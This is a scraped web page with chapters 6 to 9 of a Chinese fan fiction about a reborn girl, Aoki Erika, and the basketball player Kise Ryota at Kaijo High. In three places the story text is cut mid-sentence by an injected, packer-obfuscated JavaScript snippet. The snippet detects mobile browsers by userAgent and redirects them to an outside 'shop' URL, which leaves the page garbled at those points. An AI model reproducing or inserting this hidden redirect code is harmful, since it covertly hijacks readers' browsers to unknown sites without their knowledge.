在陌生的新的环境里,和熟悉的人先打招呼熟悉是很自然的行为,黄濑凉太也是。不过他的目的不只是这样,他还想问问青木绘里花拍摄的那张照片。 在刻意地关注下,黄濑凉太很快发现,青木绘里花似乎在躲他。 比暑假时候更甚,简直像滑不溜的泥鳅一样。 黄濑凉太不想自找没趣,对于热脸贴冷屁股也不感兴趣,但他实在是百思不得其解到底为何会这样,以至于难得升起了一股委屈的情绪。 这样的情况持续了一周,黄濑凉太终于找到了机会。 6.006 06. 失策了。 当我跟着摄影部的众人一起走到篮球部,在门口往里瞥见了那头熟悉的黄毛的时候,我就深刻地明白了这一点。 我深吸了一口气。在成为国语课代表之后,本来我想努力不接触黄濑凉太就已经够难了,听说黄濑凉太进了篮球部我还在想,这下能多少安心了,好歹不用社团时间也想办法躲避……结果万万没想到,今天刚踏入摄影部,就听见社长兴奋地抄着摄影的家伙叫我们跟上他一起去篮球部。 包括我在内的一年级生还没反应过来,二三年级生便集体欢呼雀跃起来。 我一头雾水地拉住二年级的前辈,这才得知,因为今年“奇迹的世代”有一位入学了海常高中,学校很是扬眉吐气,让学生会和新闻部负责操办针对篮球社的采访报道。 而摄影部作为和学生会以及篮球部密切合作的社团,自然承包了摄影相关的部分。 恰好新生入社,社长便放在了入社的第一天,想通过这种方式让新生“在实践中感受社团氛围,在实践中增强技能”。 这对于一心想要躲避黄濑凉太的我而言,无疑是个晴天霹雳。 在去篮球部的路上,我一直在思考,难道这个世界上真的存在“孽缘”吗?怎么重生直到现在,无论在哪、无论干什么,我都会同黄濑凉太产生联系? — 海常中学的篮球场真的好大。 刚踏进篮球部的大门,我便忍不住发出如此感叹。 我一开始还以为篮球部只有一个篮球场,然而事实并非如此。在整个场地中央的毫无疑问确实是篮球场本身,但在篮球场之外,还有很宽敞的看台以及摆放教练桌、锻炼器材的大片空地。 诺大的篮球场被一分为二,半边被高高的铁丝网拉起,白色的地线被两个完整的绿色地线覆盖。一个球场……被掰成了两个用? 有人问出了我的心声。 “那半个是用来平常热身打比赛的,另外半个用来训练。”部长笑着告诉我。 篮球馆的二楼连接教学楼的二楼连廊,我随着摄影部的诸位学姐学长进来,一抬眼便发现有许多女生站在二楼往下看。 虽然之前在招生网站上看过有关海常高校的介绍,可直到走进篮球馆的这一刻,我才对“海常中学是体育强校”有了真切的实感。 小仓直美在我耳边小声同我介绍篮球部的各位成员。 “这是笠松幸男前辈,他不仅篮球队队长,也是篮球部主将。在「篮球月刊」上被刊登过的PG,全国来说也相当有名的控球后卫。” “早川充祥前辈。因为发不出ra行的音,经常闹出听不懂话的乌龙。不过那边的中村据说可以听懂他说了什么。” “中村真也前辈,爱好是看灵异片。是个干脆利落不会拖泥带水的人。” “小堀浩志前辈,据说非常稳重可靠。” “森山由孝前辈,虽然为人很和蔼,但偶尔也会有点自恋——不说话的话算是个帅哥。” “……” 我随着她手指的方向一一看过,被统一的队服、数字,以及队员之间位置的交换晃得眼花。不懂篮球的我根本搞不明白他们所属的位置究竟需要干什么,只好囫囵吞枣地“嗯嗯”两声,表示自己大概知道这么个概况了。 “不过在这群人里面,果然最帅的还是黄濑君啊!这么多人基本都是来看他的吧。” 介绍完,她环顾了一圈篮球馆,又说道。 小仓直美说得不错。今天篮球馆来的不只是我们摄影部,还有许许多多二、三年级的前辈们,绝大多数都是女生。她们手中怀抱着签名版和签名笔,来看谁一目了然。 “毕竟黄濑君是模特嘛,很出名啊。” 随着应答,我的视线也落到黄濑凉太身上。 篮球馆的窗户都在二楼,因为看台的缘故,采光本来就没那么好,再加上今天天气不是很好,在我们来的时候,篮球馆顶部的灯光被尽数打开。 炽烈的冷白灯光从顶端倾泻而下,与温暖的日光完全不同的存在让此刻身处篮球场中肆意挥洒汗水的身躯轮廓更加深邃锋利。 与要求在突出服装设计和人体的相适性与美感中寻求平衡的杂志拍摄不同,篮球队队服显得格外的宽松。宽松的衣服蓬起鼓胀的弧度,又在干脆利落的动作间随风而动、猎猎作响。 他的脸上褪去了惯常挂在脸上的笑容,摆出了认真的神色。我能看出那和他在工作上的认真不一样——除了严肃认真,还有兴奋。像矫健凶猛的食肉动物。 我扫过他的神色和身躯,不自觉地在露出来的流畅的手臂肌肉线条上顿了会儿。 有人拍了拍我的肩膀,我疑惑地扭头,部长笑眯眯地站在我的身侧。他的笑容看上去有点不怀好意,让我有种不祥的预感。 “……部长?”我顶着他“和善”的目光开口。如果不是因为后退太明显,我一定会后退一步的,感觉我现在都能幻视部长身后有一条大尾巴了。 “青木啊,你跟黄濑凉太是同学对吧?”部长的表情更加和蔼了,“是这样的,新闻部那边呢认为黄濑同学刚入学,她们这些做学姐学长的觉得逮着后辈采访怪不好的,所以想拜托你这个同班同学去采访一下黄濑同学,到时候报道上也会写你名字,你看怎么样?” “……”我看不怎么样。 我的脸木了,想要拒绝掉这件事。部长察觉到了我的意图,在我开口想要拒绝的时候一锤定音,甚至还把一旁的小仓直美拉走了:“那就这么说定了,青木同学可以去找新闻部的部长要一下采访问题哦。然后小仓同学,过来,你也有任务。” “啊?噢噢!”小仓直美一脸茫然地被部长抓住胳膊拉走,边走还不忘跟我道别,比了个加油的动作,“那我去忙啦,青木你也加油!” — 不是很想加油,老实说。 我双手像上供一样端着被新闻部部长塞到手上的写着采访问题的小本子和记录笔,目光放空,在篮球馆角落的墙边站着自闭了一会儿,终于整理好了我的心态。 等训练中止休息的哨声被吹响,我便带着破罐子破摔视死如归的良好心态锁定走到长凳前休息,用毛巾擦汗喝水的黄濑凉太身前。 看见我,黄濑凉太短暂地展露出惊讶的神色,很快又转变成爽朗的笑颜。他扫了眼我手上的小本子和笔,旋即恍然:“是小青木啊,是来采访我的吗?” 似乎是觉得这样说话不方便,他干脆在蓝色的长凳上坐下来,白色的擦汗毛巾被他搭在头上,双手支在身侧,随后微微抬头看我,语气欢快:“这样就好了,小青木想问什么?” 在他做这些动作的时候我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107397|195279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一旁盯着他看。 他的周身散发着一种“blingbling”的气场,像是圣诞节的时候店家会使用的那种闪烁的星星一样,有点闪到我的眼睛。提到采访更是如同一只被夸奖了很高兴的金毛大狗。 我收回视线,默默翻开本子。脑海里关于十年后的黄濑凉太的形象一下子就跟眼前的金毛区别开来了。 嗯,比起十年后,现在的黄濑凉太好像有点傻,还有点臭屁。不过年轻人、高中生,好像也不是不能理解。 我按照给的采访问题按部就班地提问,黄濑凉太也每一个都认真地回答,绝大多数的提问都有关于他本人对于篮球、模特以及学业上面的态度、规划和思考。 但也有少数是关于他本人。 比如“黄濑君有什么不为人知的特技吗?”或者“黄濑君喜欢吃哪些食物?不喜欢哪些食物?”还有诸如“周末除了篮球和工作之外,还有什么其他兴趣吗?”等等之类的。 我越问越觉得有点不对劲,声音不由自主地变小,后面更是心虚地干脆跳过了好几个问题。 怎么还有人夹带私货啊! 我一开始还有底气问完了抬头看一眼黄濑凉太,现在是一点也不敢抬,说完问题就握着笔对着本子看。 我这个问话的都看出来了,黄濑凉太自然也能看出来。采访进行到后半程,即使我不看他我也能感觉到他那十分明显地在盯着我看的视线。 我的语速越来越快,脸上也烧得厉害。好不容易熬到采访的最后一个问题结束,我几乎是一秒都不想多待,一口气说完道谢语鞠了一躬,连他的表情都没细看,赶紧转身走人。 将写好的采访回答交给新闻部部长之后,我揉了揉感觉有些烫的耳朵,从嘈杂的篮球馆侧门溜了出去。外面没什么太阳,风一吹,带来阵阵凉意,我这才感觉到自己的心逐渐安定下来,不像刚刚在里面那样跳得厉害。 从门出来,旁边就是学校建筑与建筑之间的连廊。来的路上我有注意到连廊的尽头拐角处有一个自动贩售机。 因为刚才的采访,我觉得有些口干舌燥,之前我还在想这个贩售机放在这里是不是有些多余,现在却由衷觉得它恰到好处,可以解燃眉之急。 然而当我真正走到贩售机前方,选择好饮料将对应的硬币投进去之后,我却并没有得到我想要的东西。 贩售机中,瓶装的饮料被推了出来,却卡在了玻璃和货架之间,不上不下出不来。 ……我讨厌自动贩售机!! 我咬牙切齿地在敲了敲玻璃,抱着侥幸心理试图用这种方式将卡的饮料震下来,然而饮料纹丝不动。 我又启动PLANB,蹲下来贴近贩售机从下面看究竟卡在了哪里,试图寻找一个合适的角度,寻找哪个货架的东西被推出来的时候可以顺带把我要的这瓶一起带下来。 PLANB也失败了,两瓶饮料一上一下卡在了一处。 我无可奈何,感觉自己被气到了,但又有点无力。于是便想站起来直接走了算了,这时候身后却有人突然开口。 他的声音带着止不住地笑,光听声音也知道,此人正乐不可支:“小青木,这个贩售机前两天刚出了问题,你这样是弄不出来的,要用点‘小技巧’才行。” 我感觉自己好像被嘲笑了,愤愤地扭头,瞪了下来人。 7.007 07. “你这是在看我笑话吗,黄濑同学?”我站起来,拍拍手上的灰尘,略带郁闷,有点没好气地开口刺他,“既然你说有‘小技巧’,那你来?” 我觉得我有点像网上说的那种打了一拳却还毛茸茸走开的人,虽然有点微妙的气恼,但还达不到让我气急败坏张牙舞爪的地步,就只好小发雷霆,实则毫无攻击力。 不过因为气恼,我短暂地放弃了避着黄濑走的想法。 在我侧身给他留出走近贩售机的路后,我并没有站远一点,反而就站在一旁,抱着臂等待他的行动。 我倒要看看到底是什么“小技巧”。 在我的目光中,黄濑凉太淡定自然地走到自动贩售机前,然后突然像是要干什么坏事一样地,左看看右看看环顾了一圈。我还没想明白他这是要干嘛,就看他抬腿,十分干脆利落地踹了自动贩售机一脚。 “哐啷”一声巨响,自动贩售机左右摇晃了片刻,两道“砰砰”声先后响起。 我感到自己耳朵好像聋了一秒。 然后我才反应过来——这哪里是什么小技巧,这根本就是暴力破解!! 我瞪大了眼睛,不可思议地看向罪魁祸首:这这这……这能这么干吗?? 真的不会变成破坏学校设备吗)。 然而黄濑凉太并没有接收到我的眼神,踢完自动贩售机后,他弯腰从出口处取出了我买的东西——一瓶矿泉水,还有一瓶为了让矿泉水下来而购买的卡布奇诺,递给我。 我正要接过,远处却传来一声怒吼:“黄濑凉太你给我站住!” “糟糕!” 我听见眼前的人这么说,手上传来一阵温热,下一刻,我就被人拉着跑了起来。 咦咦咦——? 我茫然地一手抱着两瓶饮料,一手被黄濑凉太拽着,在连廊里奔跑起来,一直到教学楼的柱子旁,他才带着我停下。 发生了什么? 怎么突然就要跑起来了?? 为什么我要跟着一起跑??? 我看向黄濑凉太,等待他的解释。他的表情有点尴尬、还有点不好意思,然后他小声跟我解释说,刚刚喊他的是他们教练。自动贩售机的故障问题他是从他学长那里知道的,学长也是这么让贩售机出货的,然后学长就被教练骂了。 “还好刚刚我们跑得快,差点就要被逮住了。” 我看着黄濑凉太拍拍胸膛,满脸的劫后余生和庆幸。明明是一米八几的大个子,此刻看起来居然像是很委屈在疯狂抖毛的大金毛。 想到他要被教练骂是因为帮我取出了卡在自动贩售机里的饮料,而之前我因为十年后的他的缘故还一直躲着他,这么一想,愧疚感顿时爬上了我的心头。 其实仔细想想,现在的黄濑凉太跟以后完全就是两个人嘛!我不应该拿十年后的他和现在对比。虽然是同一个人,但毕竟是两个时间线上的人,他也并不是我认识的那个黄濑凉太。 这么想着,我看了看他,又看了看自己手上抱着的两瓶饮料。 正好现在也是一个好机会。 我将那瓶水递给他,有点愧疚地说:“黄濑同学,谢谢你的帮助。这瓶水就给你吧?真的非常感谢。” 我没有把卡布奇诺给他。现在已经是下午四点之后了,给人咖啡总感觉是想让人睡不着,但我只是想道谢……以及在心里悄悄地,因为之前总把他和十年后的另一个他混淆在一起而抱歉,并不想给人造成困扰。 这之后,我想我不会再把这两个不同的黄濑联系在一起了。 黄濑凉太短暂地露出了惊讶的表情,随后又恢复他平常那样帅气的笑容,接过矿泉水瓶。 教学楼一楼的靠窗的楼柱子之间有长椅。长椅是木头的,身后就是大片的窗户。 我和黄濑凉太找了张长椅坐下来,他坐在一旁休息。而我撕开吸管的包装,坐在长椅上喝咖啡。我们之间隔得很近。 橘色的夕阳从窗户外照进来,将一切东西都染上了朦胧的橘色光彩。地板的瓷砖清晰地倒映出玻璃的边框和我们的影子,一高一矮,被拉得很长。 我坐了一会儿,喝掉这杯很甜的卡布奇诺。这中间,我没有讲话,他也没有。我听见遥远的说话声,和自己的呼吸声,在这无人走过的廊道里交错,像黄昏的一场梦。 喝完咖啡,我捏着咖啡杯同他道别。 那天晚上,我毫无意外地失眠了。 咖啡的效果有点太好了,直到两三点,我才在迷迷糊糊地睡着,半梦半醒间,记忆流转到黄昏的走廊,当时黄濑凉太戴的那单个耳饰上。 很小。银色的圈反射着阳光,有些刺眼。 — 黄濑凉太接到了经纪人的电话。 经纪人说,暑假拍摄的那期照片,负责人看了你手机里的那张,他想用来作为杂志内送的小卡,所以想和你谈谈价格。 黄濑凉太说,那不是他拍摄的照片,他没有决定的权利。经纪人只好遗憾作罢。 那是青木绘里花拍的照片。 她发给他,然后把他删了好友。他在片场中打开的时候,摄影师刚好目睹了这一切,包括那张照片和他发消息但弹出红点的全过程。 那张照片拍摄得确实很不错,所以开学之后对于她选择了摄影部这件事,黄濑凉太并没有感到意外。 不过在篮球部里看见她的身影,倒是让他一开始有点惊讶。但随着摄影部的拍摄和新闻部的到来,他也大概明白了是怎么回事。 采访。 在黄濑凉太成为模特,和成为“奇迹的世代”之后,学校和外界经常有这样的采访,他很熟悉这样的流程。 只是他没想到新闻部居然会让青木绘里花来做这个采访。 对方明显不擅长这样的事情,加上她躲着他走的行为。走到他面前就像上战场行刑的勇士,格外地视死如归。 真的有必要那么紧张吗?黄濑凉太有点无奈,只好认真回答,尽量不让她上压力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112365|195279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一开始很成功,一问一答的过程很流畅和谐,但到了后面,随着夹带私货的问题的出现,对方的声音明显出现了卡壳和结巴。 显然,问问题的这个人不好意思了。 ——最明显的,就是她的耳朵红了。 这也导致了采访完,她跑得比兔子还快。黄濑凉太本想借着这个机会提出加回联系方式的,结果压根没有开口的机会。 不过好在篮球部的日常热身训练已经结束,下面就是正选队员留下来的训练,而他作为新生暂时还不能加入正选——正选要在第一次月考之后才允许申请,所以,他跟着青木绘里花一起出了篮球馆。 然后目睹了这起“自动贩售机事故”。 帮助、逃跑,然后在教学楼里偷闲——一整场闹剧下来,黄濑凉太把自己的目的忘得一干二净,直到当天晚上才想起来,完蛋,还没把联系方式加回来。 一次好的机会就这样被错过了。 他有点泄气,但没怎么懊悔。小青木对他的态度最后很明显有所不同了,加回联系方式应该就是临门一投的事情。 但黄濑凉太很快发现他错了。这并不是临门一投的事情。 他以为这件事已经变得和投篮一样容易,但实际上这件事的难度可能得是绿间那三分球的程度。 看似很近,实则很远。 因为对方虽然没有故意避着他了,但对他的态度依旧很冷淡。怎么会这样? 为了得到答案,自初中毕业以来,他第一次联系了桃井五月,把这件事半真半假掺了点水跟对方说了,然后得到了晴天霹雳的几个字——“她就是不想和你产生接触吧?” 受到打击的黄濑凉太决定趁交国文作业的时候和她交流一下……这次一定当面问清楚! 然而,他计划得很好,但事情却没有按愿发展。 收国文作业的时候,他因为被上一门课的老师叫出去交流而正好错过了,等他回来,他就被同学告知,小青木叫他自己送到国文老师办公室。 即使是上午最大的课间,也只有二十分钟,而现在时间已经过去了一半。他沿着廊道一路狂奔,直到国文老师办公室门口才堪堪止住脚步。 门是虚掩着的,里面传来国文老师的咆哮。 黄濑凉太犹豫了下,先往里稍微推了点。看一眼情况,假如国文老师真的很生气……那就等一会儿再进去。 他往里瞄了眼,第一眼看见了正在生气骂学生的国文老师,第二眼看见了在一旁抱着作业发呆的青木绘里花。 她倚靠着另一张没人的桌子一边,视线盯着国文老师办公桌上拜访的绿植神游。办公室里的其他学生都像个鹌鹑一样缩着肩膀。她却很放松,完全没有被生气的老师吓到,反而十分自在。 国文老师还在说话,他环顾了一圈,视线再回来的时候,同不知道什么时候看过来的青木绘里花撞了个正着。 她朝他挑了下眉,眼神中明晃晃写着:你躲门外干嘛?怎么不进来? 8.008 08. 黄濑凉太眼神瞄了眼正在发火的国文老师,苦着一张脸比划:等老师心情好点我再进去,不然会被连坐吧? 发火的老师真的太可怕了!! ‘好吧,那你得等好一会儿了。’青木绘里花换了个姿势,用手上捧着的作业本作挡,确保老师不会注意到这边的小动作之后,用手指比划回复。 ‘不过按照我的经验,她应该会教育到上课。你不如干脆进来算了。黄濑同学,早死早超生嘛。 ’ 比划到最后,青木绘里花的手指摇晃了晃,嘴角也微微勾起,显然她很幸灾乐祸。 那很完蛋了。 他垮下脸,垂头丧气地敲门。 “进!” 办公室里顿时安静了下来,黄濑凉太硬着头皮走进办公室,在国文老师凌厉的视线中将作业规规矩矩地交上去。 一旁的青木绘里花也将其他人的作业一起摆到了桌上,将没交的名单报上去。 三班的国文老师和二班是同一位,姓原田。虽然年纪不到三十,但脾气实打实得火爆,无论是气场还是语气都有种三十年特级教师的感觉,让人倍感压力。 这是一方面,另一方面是黄濑凉太的国语本身就不太好,也就更怕“战火”连带着烧到他的头上。 因此在交完作业后,他看了眼原田老师的表情,见对方虽然阴沉着脸,但并没有什么表示,才小心翼翼地告退。 — 自动贩售机那天之后,我终于说服了我自己把现在的黄濑和十年后的他分开看待,也终于能够安心稳定、按部就班地过好我一开始的计划。 也就是在好好学习、享受校园生活的同时打工多挣钱。 在面包店的兼职改到了放学后,而兼职的内容也从收银员变成了准备第二天的食材以及整理后厨——而这些内容都不需要我长时间待在店里,只要配合三木叔完成了就可以回家。 兼职的内容变动是三木叔的意思,他说我上学本来就很动脑子了,兼职的任务完成了就早点回家比较好,我还是个孩子,应该多休息。 我知道这是三木叔的一片好意。其实按我放学后一直到营业时间结束的那几个小时的客流量,他和由美姐两个人完全能胜任所有工作,只是知道我是一个人生活需要打工挣钱,才继续让我兼职的。 因此在力所能及的范围内,我也很卖力地帮忙。 我也很想感谢他们,只是一直在犹豫感谢的方式。纠结了好几天,终于因为周二的烘焙课而确定下来。 因为这节课刚好是做曲奇饼干,非常适合作为感谢的礼物。 上课前,另外几个女生、小仓直美以及我一起去拿模具。路上,小仓直美跟我说起了这位老师的“传闻”——听说这位老师毕业于圣玛丽学院。那是由一名叫做玛丽·鲁卡斯的人创建的培养糕点师的学校。 小仓直美讲起这些事来头头是道,不一会儿就把其他几个人也引了过来。于是拿模具的路途就在她眉飞色舞讲述“小道消息”中度过。 我听得津津有味,一边怀抱着模具一边感叹她像个“百科全书”,什么事情好像都知道。 曲奇饼干的做法并不难,因为重生的缘故,这其实不是我第一次去做这类糕点,所以制作的过程还算比较游刃有余。 只是到了选择模具图案的时候,我犹豫了一会儿。 学校的模具类别很是丰富,给了我们很充分自由的选择机会。 除了最基础的圆形、正方形、长方形这些基本的几何图案之外,还有星星、柠檬、花朵、小熊、小马、抽象小人之类的模具。 我原本想挑选小熊样式做小熊饼干,但临到最后,又折回去拿了星星的样式。 烘焙课也是要交作业的。 而且作业批改是当场完成的。 成品不仅要给老师品尝,还要选择同学交换品尝。人数不少于五个,每个人品尝完都要打分,和老师打的分加起来一起综合平均,得到最终分数。 所以我做的成品只有一部分是送出去给三木叔他们的,剩下来的则是作为作业。 就是这作业的部分,我选择使用了星星的形状。 这听起来像是一时的冲动,而事实上也确实如此。选择星星,是因为我想到了前两天,在给黄濑凉太做采访的时候他看着我的那个表情,让我想起圣诞树上的星星。 在等待烤箱烤好的时间里,我不停为自己的行为找补—— 本来开学也就没多久,我现在熟悉的人也就小仓直美和他黄濑凉太,而且我一会儿肯定是要把曲奇饼干给他们品尝的,所以我会想到他并且选择星星完全情有可原。 抛开了“十年后的他是我上司和追求者”这件事之后,就目前来看,现在的黄濑君是个非常好的人,我认为我或许可以和他成为好朋友。 好,就让曲奇饼干为这场友谊添砖加瓦吧。 我对自己的成品很有信心。但我忘记了一点,那就是黄濑凉太超受欢迎和超有人气这件事。 等我完成最后一步装饰抬起头,才发现教室里的氛围不大对劲。 好些女生们都看向黄濑凉太的方向,谁也没开那个口第一个上去,面面相觑,露出微妙的敌意。 ……好、好夸张的反应。 真的有必要吗?? 我神色微妙地环顾了一圈。黄濑凉太还在做最后的步骤,似乎并没有注意到这暗流涌动的气氛是因他而起。 犹豫了一下,我先挑出了直美的那一份和打分表递给她,请她帮忙。直美爽快地答应了我,并反过来也请我帮忙。 很快,我们的打分表就多了一个分数。 接下来我又如法炮制,请了我们这桌料理台上另外三个女生交换饼干。 那就还剩下最后一个分数。 我又看了眼黄濑那边,在我们交换打分的时候,周围几桌也在这么做,教室里窃窃私语不断。 而黄濑凉太依旧在做最后一步,也不知道究竟是什么难住了他,以至于绝大多数人都快完成了,他还没搞好。 我能感觉到现在的气氛比刚才要好一些,不知道是不是和他直到现在还没完成有关系。 这是个好时候,要是等他做完了,估计大家都会涌上去,那时候就不知道能不能把这堆星星饼干交到他手上了。 我刚动了一下,突然眼前晃过一片黑影。紧接着,一堆奇形怪状的饼干出现在我面前。我困惑地眨了眨眼,是一个不太有印象的男生,脸烧得像苹果。 他伸出手,攥着表格和饼干,给我鞠了个九十度的躬。 我被吓了一跳,下意识地想要拒绝:“抱歉……” 他很失落地走了,我不由得多看了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116514|195279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,这才后知后觉发现不仅女生之间气氛诡异,男生之间气氛也很诡异。 小仓直美拱了拱我的胳膊,意味深长地调笑我:“哎呀哎呀,怎么拒绝了?我看好几个男生都想跟你交换嘞——要不要选一下?” 一个小组作业分数怎么给她讲出了选后宫的感觉? 我哭笑不得:“不,不用了。” 这话听起来可能有点犟种,但我既然决定了最后一份给黄濑凉太,就不会改变了。 而且,我还想用饼干拉近友谊的距离呢! 我拎着分装着饼干的小篮子和表格,有点紧张地向黄濑凉太那桌走去。 走进了我才看清楚他为什么到现在还没搞好——作为新手,他做了个花环曲奇饼干,上面还撒了巧克力珠! 我惊讶地看了看他。 在烤好的饼干旁边,就是摊开的烘焙书。显然他按照书上的做法来做的。 结果就被书坑了。 上课之前我就翻过这本书,这本书上的甜品确实各有各的美丽,但有一些种类选择的并不是最简单的做法。很不凑巧,曲奇就是其中之一。 不过上课的时候老师明明是教过我们的……这是根本没听讲吧?? 想到之前瞄到的他那乱写一气的国文作业,我实在有些无奈,连带着那点微弱的紧张都消失不见,变得有些好笑起来。 “黄濑君,你怎么选择做了这个?”我把东西放到他桌子上空余的位置。 他弯腰摆放着巧克力珠,闻言偏过头,颇为委屈地同我抱怨:“做之前我也不知道这个这么难搞啊。咦,小青木你做好啦?这个是给我的吗!” “对,给你的。”我被他委屈的尾调逗笑了,点点头,大方地把篮子往前推了点,豪气地回复,“这些都是你的。” 说话间,我看见他手上摆的巧克力珠滚落了下来,东倒西歪地带歪了一片其他摆放好的装饰,紧接着他手忙脚乱地开始收拾,再重新摆正。 我实在有点看不下去:“需要帮忙吗?” 他的眼睛亮起来:“可以吗?太好了!我正在头疼这个……” 他给我让了位置,开始碎碎念起来。我比了个手势叫他打住,又指了指我的饼干。 “尝尝。” 他顺从地闭上了嘴,摸到一旁去吃饼干了。 我的视线落到他的饼干盘上。没装饰好的饼干实际上也没多少了,不需要我帮忙他也不是完不成,应该是被搞烦了所以才这么干脆地让了出来。 很快,全部的饼干都被装饰完毕。 这么点时间,黄濑凉太已经将那盘饼干吃了个干净,我偏头看过去的时候他正在给我打分,一个潦草龙飞凤舞的100出现在了表格最后一栏。 不知道怎么地,我突然有点想笑,但又不知道自己为什么会想笑。 我征求了下他的意见,顺了一块饼干吃。 抹茶味的,出乎意料,味道很不错。于是我也礼尚往来地在他的表格里打了个100分。 等到交给老师打分的时候,我将这张表格和剩下的星星饼干一起呈了上去,最后得到了S的评级。 对S的结果我并不意外,只是…… 在S的评级下面,老师还写了一行字。 [星星饼干很不错,你对象的抹茶花环饼干也不错。老师看好你们噢] 9.009 09. 距离开学那天已经差不多有一个月了,我跟黄濑凉太逐渐熟悉起来。 烘焙课那次帮忙之后,我重新加回了他的联系方式——当时我还有点不好意思。之前把人删了,现在却又加回来,怎么看打脸的意味都很浓。 但黄濑凉太并不仅没有在意这件事,还给我推了他经纪人的名片。 [黄濑君:我的经纪人想买下你之前拍的那张照片] [黄濑君:图片.JPG] [黄濑君:就是这张。] [黄濑君:【黑川正次——星卡事务所经纪人】] 什么照片?哪张照片? 他发过来的时候我还有点茫然,完全忘记了当时删人之前我拍了发给他的那张。等照片加载完我才想起来这么一回事。 我盯着“买下照片”几个字琢磨了一会儿。这意思是不想让我把照片流传出去,所以想买断……?可是我已经删了相册里的原图。现在黄濑发过来的就是唯一一张图了。 我抿着唇打字回复。 [Aurora:是要买断版权害怕流传出去吗?那样的话你们完全不用担心的!我这边早就把原图删啦,只有你保存的那张,所以不会随便流到世面上的。] 对面出现“正在输入中……”。 [黄濑君:不不不!小青木你搞错意思啦,不是因为担心这个。我经纪人他的意思是觉得你拍得特别好,所以想买下来,作为下一次卖卡的照片之一。] 知道不是担心流出去,我松了一口气。 [Aurora:原来如此:D] [Aurora:吓死我了,我加一下他。] 我点开黄濑凉太推来的名片,申请加为好友。 等待对方通过的时间里,黄濑凉太又给我发了好几条消息。 [黄濑君:说起来小青木最近有空吗?这周末?] [黄濑君:你知道的,下周要月考了……而我的国语实在没底。武内教练又说成为正选成绩必须得过关……] [黄濑君:双手合十.JPG] [黄濑君:所以……拜托了TAT!!!小青木,请帮我补习吧!具体的时间地点看你的安排!之后请你吃饭!] 手机上方不断弹出弹窗,可见对面发消息的这人有多急迫。我回忆了下上次作业国语老师给他打的分数,顿时觉得他的急迫也不是没有道理。 不过他找我还真是找对了,这周六三木叔因为回老家给我放了假,我刚好有空,补习什么的对我来说也不是坏事,正好我自己也可以把重点再过一遍。于是我很干脆地答应了他。 — 我们约在了学校附近的Dourtor门口见面,时间是下午一点半。 原先在商定补习地点的时候,我一开始想到的是去那种专门的自习室,但最近的自习室CAFE也离这里距离较远,还按小时收费,实在很不划算。 后面我又想那要不还是就在咖啡店吧。在比对了好几家之后,最终敲定了doutor——另一家星巴克的座位有点少,而且因为出名,人也相对多。 现在正是九十月交错的时候,天气逐渐转凉,我套了一件薄外套才出门。 一路上没花多少时间,我到地方看了眼,比约定的时间早了十多分钟。 我给黄濑凉太发了消息,在店里找了个位置先放好东西坐下来,又点了杯红茶拿铁。 咖啡店的桌子是那种木质的矮圆桌,上面木头的纹理清晰可见,椅子则是深绿色的休闲椅。店里播放着我没听过的英文歌。 这个点的人很少,没一会儿我就拿到了我的饮品。 拆了塑料插进吸管的这会功夫,黄濑凉太也到了。我抬头看了眼,被他今天时尚的穿着给惊到了。一时间,过往的记忆突然又清晰起来,我的眼皮跳了跳。 补个习而已,需要穿得回头率这么高吗?? “你这是刚忙完工作?还是晚上有约会啊?” 我斟酌了下用词,小心翼翼地开口,不让自己显得很八卦,“……怎么穿得这么引人注目?” 他是不是还用了香水?怎么好像闻到了类似的味道…… 黄濑凉太在我对面坐下,闻言露出茫然的表情。 “没有啊。今天没有工作,我也没有其他约会,今天不就是出来补习的吗?” “那你怎么……” 我看了看他的衣服,又看了看他这个人,最后按了按眉心,倏然闭了嘴。 好吧,那可能是我的雷达过度反应了。 在我没重生之前,我的上司——那家伙参加工作室聚会的时候也这样,穿得特别的孔雀开屏,让人想不注意到都难。 一整场聚会下来,光记住那张脸了,其他什么心思都没有,简直堪称心力憔悴。 以至于刚才看到黄濑凉太的第一眼我整个人都要蹦起来了,还好我知道眼前这人并不是我那上司,不然那可真是鬼故事。 — 重生后我做过的唯一兼职就是在那家面包店打工,但重生前我做过其他很多种类的兼职。 对于学生来说,家教算是来钱比较多又比较安全的工作——当然如果学生是那种很皮实很捣蛋不好好学的、以及怎么讲都听不明白的类型的话,那得另算。 那就是完全的精神损伤。 好在给黄濑君补习完全没有以上这些烦恼。 或许是因为“考试不及格就进不了正选”这句话太具有威胁力了,一整个下午,黄濑凉太虽然绷着苦大仇深的一张脸,但还是克制着一直在学。 顶多顶多,也就中途趴在桌上装死闹一会儿,随后又自己爬起来继续学。 